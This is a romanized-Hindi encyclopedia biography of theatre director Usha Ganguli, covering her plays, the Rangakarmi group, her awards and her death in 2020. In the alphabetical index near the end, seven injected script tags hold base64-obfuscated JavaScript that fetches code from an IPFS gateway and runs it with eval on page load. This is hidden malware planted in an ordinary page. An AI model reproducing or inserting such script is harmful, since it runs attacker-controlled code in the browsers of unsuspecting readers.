उषा गांगुली

	usha gaanguli
	usha gaanguli\|200px\|center
poora nam	usha gaanguli
janm	1945
janm bhoomi	kanapur, uttar pradesh
mrityu	23 aprॅl, 2020
mrityu sthan	kolakata, pashchim bangal
karm bhoomi	bharat
karm-kshetr	rangamanch tatha naty nirdeshan
mukhy rachanaean	natak; mahabhoj, lo‍k katha, holi, kort marshel, rudali, mukti, shobhayatra, kashinama
puraskar-upadhi	sangit natak akadami puraskar (1998)
prasiddhi	rangamanch abhinetri aur nirdeshak
nagarikata	bharatiy
any janakari	usha gaanguli ne 'renakot' (2004) ki skript par kam kiya tha, jo rituparno ghosh dvara nirdeshit 'o henari d gipht aauph d maigi' par adharit ek hiandi philm thi.

parichay

usha gaanguli ka janm 1945 mean uttar pradesh ke kanapur shahar mean hua tha. unhoanne 1976 mean rangakarmi thiyetar grup ki sthapana ki, jo apane prodakshans, jaise ki mahabhoj, rudali, kort marshal ke lie jani jati hai. usha gaanguli kolakata mean hiandi rangamanch ka abhyas karane vali ekamatr thiyetar nirdeshak thian, jo kaphi had tak bangali bhashi thian.^[1]

kॅriyar

usha gaanguli ne apane kॅriyar ki shuruat 1970 mean kalakatta vishvavidyalay se sambaddh ek aandaragrejuet k aaulej, bhavanipur ejukeshan sosaiti k aaulej, kalakatta mean ek shikshak ke roop mean ki thi. sath hi unhoanne usi sal sangat kala mandir se abhinay ki shuruat ki aur apane pahale natak 'mithi ki' se kam shuroo kiya. 'gadi'^[2] mean unhoanne vasantasena ki bhoomika nibhaee thi. unhoanne 2008 mean apani sevanivritti tak, bhavanipur ejukeshan sosaiti k aaulej mean hiandi vyakhyata ke roop mean adhyapan kary jari rakha aur sath mean thiyetar ka abhyas kiya.

unhoanne 'renakot' (2004) ki skript par kam kiya tha, jo rituparno ghosh dvara nirdeshit 'o henari d gipht aauph d maigi' par adharit ek hiandi philm thi. philh‍m mean ajay devagan aur aishvarya ray ne kam kiya tha.

mukhy natak

usha gaanguli ke charchit natakoan mean mukhy haian^[1]-

mahabhoj (1984)
lo‍k katha (1987)
holi (1989)
kort marshel (1991
rudali (1992)
mukti (1999)
shobhayatra (2000)
kashinama (2003)
manasi (bangali mean, 2011)

unake kuchh behad p aaupular natak rahe 'mahabhoj', 'lok katha', 'rudali'. 'rudali' natak mahashveta devi ki isi nam ki ek kahani par adharit tha. 1992 mean isake lie usha ko best dayarektar ka samman bhi diya gaya tha. bartolt brekht ki lambi kahani 'madar karej eand har children' par adharit 'himmat maee', aur svadesh dipak ke likhe natak 'kort marshal' ko bhi unhoanne dayarekt kiya. unake orijinal natakoan mean 'aantaryatra' aur 'khoj' bahut p aaupular hue. 2004 mean philm aee thi 'renakot', usaki skript par bhi unhoanne kam kiya tha.

apane natakoan ke kiradaroan ko samajhane aur unhean behatar tarike se stej par utarane ke lie usha tag di risarch karati thian. mahashveta devi ki kahani rudali ko natak ke roop mean dhalane ke lie unhoanne panjab mean ‘syape’ aur bihar mean ‘rudali’ ki paramparaoan ke bare mean janakari ikaththa ki. rudaliyaan vo hoti thian, jo kisi ke marane par shok jatane jaya karati thian aur bukka pha d-pha d kar roti thian.

rangamandali ka nirman

apane abhinay, nirdeshan v bataur sangathak jo anootha kam usha gaanguli ne kiya, vo ek parighatana ki tarah hai. ve ikalauti aisi mahila rangakarmi thian, jinhoanne ajadi ke pashchat hindi rangamanch ki pahali peshevar rangamandali ka nirman kiya. habib tanavir ko chho dakar char dashakoan se bhi adhik vakt tak apane naty sangathan ko saphalatapoorvak chalae rakhane vali koee doosari misal nahian hai. usha gaanguli dvara sthapit ‘rangakarmi’ ki ginati bharat ke behatarin naty samoohoan mean hoti hai. unaka vamapanthi andolan se ju dav v marksavad ke prati gahari pratibaddhata unhean rang-nirdeshakoan ki bhi d se bilkul alahada bana deta tha.^[3]

samman v puraskar

sal 1998 mean usha gaanguli ko sangit natak akadami, bharat ke rashtriy sangit akadami, nrity aur natak dvara die ge nirdeshan ke lie sangit natak akadami puraskar se sammanit kiya gaya tha. unhean 'gudiya ghar' natak ke lie sarvashreshth abhinetri ke roop mean pashchim bangal sarakar dvara bhi sammanit bhi kiya gaya.

mrityu

jani-mani rangakarmi usha gaanguli ka nidhan 23 aprॅl, 2020 ko kolakata, pashchim bangal mean hua. unaki umr 75 varsh thi. parivarik sootroan ke mutabiq usha gaanguli ridh ki haddi ki samasya se lanbe vakt se pareshan thian. shahar ke lek gardeans ilake mean sthit apane phlait mean vah subah sat baje ghareloo sahayika ko achet avastha mean milian. jab d aauktar ko bulaya gaya to usane bataya ki kuchh samay pahale dil ka daura p dane se unaki maut huee.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 mashahoor rangakarmi usha gaanguli ka nidhan (hiandi) prabhatkhabar.com. abhigaman tithi: 28 disanbar, 2020.
↑ shoodrak dvara mrichchhakatikam par adharit, 1970
↑ vo dayarektar, jo hiandi thietar ko jarmani aur amerika tak le geean (hiandi) thelallantop.com. abhigaman tithi: 28 disanbar, 2020.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] 1.0 ^1.1 mashahoor rangakarmi usha gaanguli ka nidhan (hiandi) prabhatkhabar.com. abhigaman tithi: 28 disanbar, 2020.

[2] shoodrak dvara mrichchhakatikam par adharit, 1970

[3] vo dayarektar, jo hiandi thietar ko jarmani aur amerika tak le geean (hiandi) thelallantop.com. abhigaman tithi: 28 disanbar, 2020.

[1]

[2]

[3]

usha gaanguli
usha gaanguli\|200px\|center
poora nam	usha gaanguli
janm	1945
janm bhoomi	kanapur, uttar pradesh
mrityu	23 aprॅl, 2020
mrityu sthan	kolakata, pashchim bangal
karm bhoomi	bharat
karm-kshetr	rangamanch tatha naty nirdeshan
mukhy rachanaean	natak mahabhoj, lo‍k katha, holi, kort marshel, rudali, mukti, shobhayatra, kashinama
puraskar-upadhi	sangit natak akadami puraskar (1998)
prasiddhi	rangamanch abhinetri aur nirdeshak
nagarikata	bharatiy
any janakari	usha gaanguli ne 'renakot' (2004) ki skript par kam kiya tha, jo rituparno ghosh dvara nirdeshit 'o henari d gipht aauph d maigi' par adharit ek hiandi philm thi.